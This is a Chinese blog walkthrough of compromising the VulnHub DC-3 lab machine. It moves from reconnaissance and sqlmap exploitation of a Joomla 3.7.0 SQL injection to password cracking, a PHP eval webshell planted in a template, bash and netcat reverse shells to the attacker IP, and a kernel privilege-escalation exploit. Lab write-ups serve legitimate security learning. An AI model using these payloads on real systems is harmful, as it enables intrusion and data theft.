渗透测试学习之靶机DC-3

1.下载靶机

本篇文章是DC靶机系列的第三篇,针对的是靶机DC-3,建议感兴趣的读者从DC-1开始练习,详细内容可以看我之前的文章。

DC-3的下载地址为DC: 3.2 ~ VulnHub。三个地址建议使用磁力下载,比较快。下载后解压为.ova文件,该格式可直接在VMware上打开,如果显示打开失败,点击重试即可成功,如果仍无法成功可百度、谷歌解决。

需要说明的是DC-3相较前两个靶机,它只有一个flag,便是最后一个flag,没有多余的提示了。

在VMware加载成功之后显示如下界面:

默认状态我们是打不开该系统的,也不知道账号密码的,毕竟我们的目的就是在不知道账号密码的情况下拿到root权限,找到flag。注意,这里建议把DC-3靶机的网络链接模式改为NAT模式。本文使用的攻击机为kali(安装在VMware上,IP为:192.168.179.128)。

2.收集靶机信息

由于本文的攻击机和靶机在同一个网络下,因此在kali上输入命令: arp-scan -l,显示如下

可判断出靶机的ip为192.168.179.131.接着使用nmap对该ip进行扫描,输入命令:nmap -sV -p- 192.168.179.131

看来只有一个开放端口80,我们访问http://192.168.179.131:80,看看有什么发现

随便点点,没什么发现。有个登陆窗口,此外我们看看网站指纹

发现该网站的CMS使用的是joomla,这个框架很成熟,是php非常常见的CMS框架,看到这儿,第一想法是看一下它的版本号,然后搜索一下是否存在漏洞,而且kali上还存在一个专门针对它的漏洞扫描工具Joomscan。我们抱着试试的心态扫一下,看看有什么发现。

3.漏洞扫描

输入命令行:joomscan --url http://192.168.179.131

有两个收获,第一,joomla的版本号是3.7.0,第二,存在一个后台管理页面http://192.168.179.131/administrator/。我们先访问一下,果然是后台管理页面。

其中这里要说明的时候,很多时候找到一个隐藏的页面没那么容易,拿到上一个登陆页面的时候,我还使用上一篇介绍的网站目录工具爆破了,没有发现什么有效的网页,所以同学们不要着急,渗透本身就是不断尝试、大海捞针的过程。

这个时候已经有两个登陆页面了,显然我们应该把重心放在第二个后台管理页面的账号密码上。而且此时盲目去爆破是下下策(即使我们勇敢的猜测账号很可能是admin),所以我们此时手里只剩一个线索了,就是joomla3.7.0。

接下来我们看看joomla这个版本有什么漏洞信息,有两个办法,一个是搜索引擎搜索;另一个是使用漏洞利用工具搜索,比如searchsploit 。使用百度搜索,果然发现了存在SQL注入漏洞。这个时候参照这些博客测试,我试了,写的都很详细。

这里主要介绍searchsploit,毕竟学习嘛。输入命令行:searchsploit joomla 3.7.0

可以看到第一个也是SQL注入,我们以它作为突破口(感兴趣的同学可以试试第二个,我失败了),接着查看详细的信息

接下来,我们把这个文件下载到本地,由上图可以看到该文件详细路径

输入命令行: cp /usr/share/exploitdb/exploits/php/webapps/42033.txt joomla1.txt 将其保存为joomla1.txt

打开查看

txt文件提示了使用sqlmap,并且将语句已经生成给我们了,试过搜索漏洞的同学可以看出,和网络搜索的结果是一样的,殊途同归。

4.漏洞利用

接下来我们打开sqlmap,开始注入漏洞,输入

sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

破解出存在5个数据库,我们选择可能性最大的joomladb,继续爆破数据表,命令行为

sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  joomladb --tables  -p list[fullordering]

发现了76个表,用户名和密码很可能存在#__users 这个表里,继续爆破它的字段,这里存在一个习惯,我不喜欢给数据库、表格、字段等字样加上引号,而这个表是带符号的,不加引号可能会有问题。

​
sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  joomladb -T "#__users"  --columns  -p list[fullordering]

继续爆破字段,这里选择的是name,username,password三个字段

sqlmap -u "http://192.168.179.131/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D  joomladb -T "#__users"  -C  name,username,password --dump  -p list[fullordering]

这里得到了用户名为admin,而密码为hash后的值,在网上没找到很明显的joomla的hash文件,因此我们准备暴力解码,使用john工具

将password hash值保存成文本文件hash.txt,接着输入 John hash.txt

解密出来是snoopy,登陆成功

突发奇想,将这个账号密码登陆前端看看

成功,但是屁用没有,那么把精力放在后台管理页面上。没有什么好方法,只能仔细翻看,最后发现templates下存在模板,而模板里的php文件可编辑。

5.上传webshell

接下来要上传webshell,有好几种方式,感兴趣的朋友可以网络上搜索一下,很多

随便打开一个模板,随便打开一个php文件,放入我们的小马,当然放一个就好,我放的多是怕连不上。

@eval($_REQUEST['joomla']);
@eval($_POST['joomla']);

然后打开中国蚁剑(在kali上安装中国蚁剑需要几步操作,网上教程不是很全,读者可以看我的这篇博客VMware之kali安装中国蚁剑_xdbzdgx的博客-CSDN博客

然后填写信息

添加成功,此时是可以浏览网站目录和打开虚拟终端的。我们在/templates/beez3模板里上传一个反弹shell的文件,记住上传路径,文件由自己创建,本文的文件名为shell1.php

反弹shell内容为

<?php
system("bash -c 'bash -i >& /dev/tcp/192.168.179.128/4444 0>&1' ");
?>
或者
<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.1 4444 >/tmp/f');?>

然后kaili机器上开启nc -lvvp 4444监听

使用浏览器访问该文件,http://192.168.179.131/templates/beez3/shell1.php

这个时候脑子突然一抽,当时我在填写小马的时候,直接随便找一个模板中的php文件,写入上面的反弹shell,不就行了嘛!!

6.提权

反弹shell成功,现在已经拿到了权限更大的shell,但是显然还不够大,接下来开始提权root。我们在shell上输入uname -a 查看系统信息。

或者 cat /proc/version

cat /etc/issue

可知当前ubuntu的版本信息,我们接着看看该版本存在什么漏洞

对比搜索引擎搜索该版本漏洞,锁定path为39773.txt的漏洞。查看该文件路径

将其下载到本地,保存为39772.txt,然后打开查看

文件很长,其中看到这里,这里告诉我们破解的工具都保存在exploit.rar里了,并且给了下载链接,我们将其下载(在刚刚反弹过来的shell里)

wget  上面截图的url

但是很容易因网络问题,下载失败,或者随后的解压失败,此时可使用国内的路径下载,国内的路径为

https://gitee.com/aaaddc/exploitdb-bin-sploits/blob/master/bin-sploits/39772.zip

然后解压 unzip 39772.zip

紧接着

解开了exploit.tar文件可以看到有很多的脚本,接着进行如下操作。

./compile.sh
ls
cd ebpf_mapfd_doubleput_exploit
ls

./compile.sh

编译成功,接着提权

./doubleput

等一会显示成功,此时是root权限,打开root目录,发现the-flag.txt.成功!

1610425138_5ffd23329fd01aeaf3e22.png!small?1610425137358

  • 4
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值